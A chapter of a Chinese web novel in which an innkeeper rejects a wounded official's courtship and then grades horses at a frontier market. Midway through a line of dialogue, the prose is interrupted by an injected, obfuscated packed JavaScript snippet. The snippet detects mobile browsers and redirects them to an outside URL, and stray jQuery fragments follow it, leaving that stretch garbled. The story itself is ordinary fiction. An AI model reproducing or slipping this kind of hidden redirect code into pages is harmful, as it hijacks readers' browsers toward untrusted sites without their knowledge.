熊图怔了怔，语气更软了：“你……若是喜欢，我买了送你。”
我剜他一眼：“谁稀罕！”
“那你想……向往什么？”
天边红日，鹭鸟盘旋。
我长吁一口气道：“自由、安定的生活。能时常与家人朋友一起，唱歌、跳舞，喝酒、聊天。”
“山河安然，烟火人间。”熊图的目光温柔且专注，“我亦向往这样的生活，更向往做——你的家人。”
我侧过脸，避开他的视线：“朋友可以，家人免谈。”
熊图转身，又挡住我的去路：“青城，莫非你嫌弃我是鳏夫？”
听到“鳏夫”这个词，不禁令我想起他的授业恩师全家。那位师娘遇难时的年纪，比起我只怕大不了多少；青梅竹马的小师妹，比起现在的槐序，更是要小上好几岁；若非十四年前遭遇灭顶之灾，书院的夫子恐怕早已桃李满天下……亦或会像柳行简与王云慧那样，流放天涯，却仍然相濡以沫？
我略平复了下心情，回道：“那倒不是。只是你有没有想过，为何要与我结缡？
“仅仅因为我救过你一次？你该明白顺手而为和刻意为之的区别。再则，结缡之后又如何？要我举案齐眉，随你琴瑟和鸣，生儿育女吗？
“我今日告诉你——熊伯通，案我是不会举的；琴也是不会弹的；孩子更是不想生的。倘若你没有想过，便回去好好想想。”
看着熊图渐渐黯然的神色，我索性不装了：“实话与你说吧。就因为留你在客栈养伤，郭巡检的人已经很久不上我那补给了。
“巡检司官兵纪律严明，马况又好，给付的官银成色足。州道上的马栈，哪一家不想接这样的生意？你若是想要报答我，还请尽快离开此地。”
熊图紧皱眉头：“郭成？”
翻过一日，便是九月的最后一个大集。
放眼西南，茶叶、马匹的交易也将在秋冬之交进入旺季，从乌蒙，到戎泸，官道上的马帮往来络绎不绝。
为赶在冬歇期前攒足银钱，过一个丰衣足食的好年，我与槐序他们夜漏起身，张罗至天光微亮，接连送走数拨马队。
早间，照旧是封峤备好朝食，趁着间歇，大伙轮流去吃。我喝着粥，眼角余光瞥见熊图正从过道走来，忙大口饮尽，迅速拈了块米粑揣衣兜里，撂下碗筷，抬脚朝院外走。
槐序跑过来问：“干娘，你去榷场？”
我“嗯”了一声，脚步未停。
封峤闻声唤道：“姑，你稍等一会，我去给你备马。”
“不必了。”我头也不回道，“今天道上人多，遇到相熟的，让他们捎我一程便是。”
槐序追着我道：“干娘，今日大集，郭巡检指定会在！你见着，可要问问他，为何这阵子都不到我们客栈来了。我和封峤，还怪想他的！”
“知道了，忙你的去吧。”我不动声色推开槐序，闪身来到院外。
刚站定一会，震山铃响到身前，一个骑在马上的伢崽大笑俯身：“青城阿姑，快瞧瞧我的马！”
我略打量，点点头道：“这匹好，能去军马场。”瞧向他身后，后面跟着三人两鞍，还有六骑光背，看情形是专程贩马而来，“帕罕，你阿爸怎么没来？”
帕罕一脸得意，大拇指点向自己鼻尖：“这一趟，帕罕大锅头！上个月，阿妈生下小五，阿爸喜欢得不得了，天天抱着妹妹不放，不肯出山。”
帕罕家弟兄四个，当爹的中年得女，难怪爱不释手。
我笑着道喜，帕罕又道：“还有喜事呢！帕罕媳妇过两月也要生娃崽了。青城阿姑，你要当姑奶奶了！”
我抬手摸了摸马脸，讪讪一笑：“是嘛。”
帕罕笑着朝我挤眼睛：“阿姑，我一路过来时听说——你也快办喜事啦！”
我板了脸，凶道：“那些个碎嘴子瞎说什么了？你千万别信！”
帕罕挠头，支支吾吾道：“他们说，说——阿姑从前救人，要么扣住打短工折药钱，要么留下来做长工抵债……这，这次捡了个‘狐狸精’，不舍得让他干活，还净给他吃些好的，就连跟他说话，都是好声好气的。人家就是说——阿姑定然想留着他做，做相公了……”
我照着地上，恶狠狠唾了一口：“放屁！”
“阿姑你瞧你，气得脸都红了。”帕罕直起身子，东张西望，“那个‘狐狸’……”见我面色益发不善，囫囵将“精”字咽回，赔笑道，“还在阿姑家吗？能有多好看？让我瞅两眼呗。”
“看不着！放生了！”我甩手击中他的膝弯，“走走走！捎我去榷场！”
帕罕大笑着拉我上马：“坐稳了阿姑！帕罕降的马，不止耐力好，速度也是一等一！”
榷场人声鼎沸。
老远瞧见领弓兵巡防的郭成，不待我上前招呼，他便顶着张笑脸，一路穿过人群，挤到我面前：“青娘子，近日往来马帮众多，今冬过后，青城客栈想必是要赚得盘满钵满了！”
“所以呢？”我抄手打量他，“郭巡检便不愿上我们那照拂生意了？亏我家两个小的，一直记挂你，还真是错付呢！”
“青娘子，这话说哪去了！”郭成连连拱手，“这些天，司里的弟兄绕路绕得怨声载道，总是追问我，何时才能恢复如常。我过来，也正是想向你打听——”
见他神情欲言又止，我心内好笑，忙接过话头：“那位大人的伤势已无碍，这两日差不多就该回泸州了。”
“当真？”郭成眉开眼笑，“那我可得把这个好消息，尽快告知弟兄们！”
“郭巡检，郭大人，你至于么？”我忍不住白他一眼，“据我观察，那位大人也并非如传闻中一般不近人情。”
“你是他的救命恩人，他待你自是不一样。”郭成轻叹，“你跟我换了试试，跟周弘换了试试？”忽然神情一凛，匆匆道，“郭某公务在身，告辞！”说着，转身融进人流。
“喟！”我踮足叫道，“郭巡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456188|180828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
检，刚才的事可是说定了，你别再给我变卦了啊！”
郭成的背影渐行渐远，我忿忿立在原地，回首间发现身旁多出一人，不由讶然：“你怎么还没走？！”
熊图执手：“犹记当日兴文军营初见，青娘子拉着我的胳膊让我别走，如今却是不停地赶我走。”
我闭了闭眼，叉腰问道：“昨天的事，想通了没？”
熊图颔首：“想通了。”
“那你还跟来……干嘛？”
熊图不紧不慢答道：“熊某对青娘子一见倾心。案——我可以举；琴——我可以弹；至于孩子，青娘子有一个现成的，我可以做槐序的爹，一定对她视如己出。”
我垂首，鞋尖碾着地上的砂砾，一时也分辨不出——到底是自己下手太重，还是刘玉配的药太猛……
“你想得美！”我跺脚嗔道，“我养了槐序十年！这其中的辛苦，你懂？竟肖想槐序认你当爹，你有什么资格跟我平起平坐？！”我越想越气，双臂平伸，用力推开他道，“你给我走开！”
熊图未料着我会突然动手，被推得连退数步。
见他又举手按在前胸伤处，我不禁有些懊恼：“你，你没事吧？真是的……我说的话，你听不懂吗？我与你之间，绝无可能！别再相互浪费时间了！”
熊图再度朝我执手，语声和煦：“听是听得懂。不过，熊某对青娘子的爱慕之心，就像这天边落日，遭到拒绝后，纵然会一时下沉，可明天依旧升起。”
“你——”我悱而拔高音调，瞥见周遭人群渐有集拢之势，只得压低声音道，“我懒得与你说！”
彼时，有夷商牵了马走近：“青娘子，瞧瞧我的马，能定几等？”
我一眼扫去：“中下。”
又有马锅头上前：“青娘子，瞧瞧我的。”
我回道：“中。”
“这匹呢？”
“中上。”
一路走着，一路有人来问，我随口报出等级。熊图落在我身后一些，突然开口：“他们为何都肯听你的？”
我伫足，挑眉看他：“八亭道所有的马匹打我客栈经过，我见过的马比见过的人还多。不听我的，难道听你的？”
熊图轻扯嘴角：“听我的也未尝不可。”
我“哼”了一声，拧身朝秤台走去，转悠一圈，却没看到杨主事的身影，便问向一旁差役：“为何不见杨主事？他今日告假么？”
差役回道：“今日大集，杨主事怎会告假！方才有夷商过来卖马，其中有两匹良马，杨主事给了最高等，他们犹嫌不足，讨价还价半天不肯卖，执意将马拉走。杨主事担心他们转去别家行市，便自己跟过去了。”说着，给我指了个方向，“喏，就在那边。”
我咂舌：“杨主事过于敬业了！”
“谁说不是呢！”差役笑道，“劳烦青娘子过去瞧瞧，我们主事是个倔脾气，惟有你劝得动他。”
我亦笑道：“这就去，你们忙。”